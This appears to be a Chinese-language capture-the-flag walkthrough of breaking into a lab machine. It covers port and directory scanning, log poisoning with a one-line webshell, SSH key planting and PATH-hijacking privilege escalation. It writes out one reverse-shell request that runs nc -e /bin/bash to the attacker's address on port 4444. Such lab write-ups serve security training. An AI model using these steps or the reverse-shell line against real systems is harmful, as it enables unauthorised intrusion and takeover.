扫描IP:
获得IP
扫描端口:
获得端口信息:80端口和22端口:
获取80端口的http服务信息:
可以获得状态码为200,访问网址:
在源码中不存在任何可用信息,尝试爆破目录:
看到一个robot是.txt
访问:
继续:
提示了一个页面:
在源代码中发现一串base64字符串:
解码:
访问该目录:
发现是一个ssh的日志信息,存在这登录信息,那马可以通过上传一个木马,执行一句话木马,进行shell的交互:
然后在url处尝试是否可以执行命令:
可以看到执行成功了
本地监听4444端口:
http://192.168.108.11/adminsfixit.php?x=nc%20-e%20%2fbin%2fbash%20%20192.168.108.128%204444
可以看到监听成功,开启交互:
交互成功:
查看一下用户是否存在隐藏信息:
看到ssh存在读写的权限,查看一下存在扫描文件:
没有任何文件,可以将本机的公钥传出操靶机,进行免密的登录
使用wget进行上传公钥:
查看文件:
上传成功,修改文件名:
查看文件:
使用ssh进行登录:
登录成功
查看的特殊文件:
看到一个没有见过的
/usr/bin/getinfo运行一下:
可以看到执行了一系列命令,有ip cat
所以就可以实行命令劫持提权,什么意思?因为getinfo会执行ip命令,根据linux的命令执行方法,外部的命令,它会先查找环境变量的信息,
所以我们可以添加一个环境变量信息,让执行getinfo的时候执行我们设置的变量,将变量的功能调整为执行/bin/bash,这样就完成了命令劫取:
这样我们就获得了权限:
查看文件:
这是第一个
这是第二个
生成公钥和私钥的方法:
ssh-keygen -t rsa 然后一直回车就行